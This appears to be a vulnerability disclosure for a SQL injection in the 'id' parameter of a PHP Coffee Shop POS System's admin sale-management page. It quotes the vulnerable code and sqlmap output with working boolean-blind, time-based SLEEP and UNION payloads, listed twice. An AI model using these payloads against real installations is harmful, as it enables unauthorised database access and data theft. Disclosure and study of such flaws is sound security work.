SQL injection vulnerability exists in id parameter of /admin/sales/manage_sale.php file of Coffee Shop POS System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'sales/manage_sale',it will include /admin/sales/manage_sale.php,and id parameter can do sql injection.

/admin/index.php:

```
<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home';  ?>
 <!-- Content Wrapper. Contains page content -->
 <div class="content-wrapper  pt-3 pb-4" style="min-height: 567.854px;">

   <!-- Main content -->
   <section class="content  text-dark">
     <div class="container-fluid">
       <?php
         if(!file_exists($page.".php") && !is_dir($page)){
             include '404.html';
         }else{
           if(is_dir($page))
             include $page.'/index.php';
           else
             include $page.'.php';
```

/admin/sales/manage_sale.php:

```
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `sale_list` where id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k)){
                $$k = $v;
            }
        }
    }else{
        echo '<script> alert("Unknown Sale\'s ID."); location.replace("./?page=sales"); </script>';
    }
}
?>
```

```
sqlmap identified the following injection point(s) with a total of 262 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=sales/manage_sale&id=1' AND 2444=2444 AND 'qAvo'='qAvo

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=sales/manage_sale&id=1' AND (SELECT 6486 FROM (SELECT(SLEEP(5)))HZnv) AND 'ArbR'='ArbR

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: page=sales/manage_sale&id=-8111' UNION ALL SELECT CONCAT(0x71786a6a71,0x45494349585a536871635370785854596852795342755942727a7253667850484c476453585a6a73,0x7162786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
```

"

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=sales/manage_sale&id=1' AND 2444=2444 AND 'qAvo'='qAvo

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=sales/manage_sale&id=1' AND (SELECT 6486 FROM (SELECT(SLEEP(5)))HZnv) AND 'ArbR'='ArbR

Type: UNION query

Title: Generic UNION query (NULL) - 10 columns

Payload: page=sales/manage_sale&id=-8111' UNION ALL SELECT CONCAT(0x71786a6a71,0x45494349585a536871635370785854596852795342755942727a7253667850484c476453585a6a73,0x7162786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

---

“

Source Download：

https://www.campcodes.com/projects/php/coffee-shop-pos-system-in-php-mysql/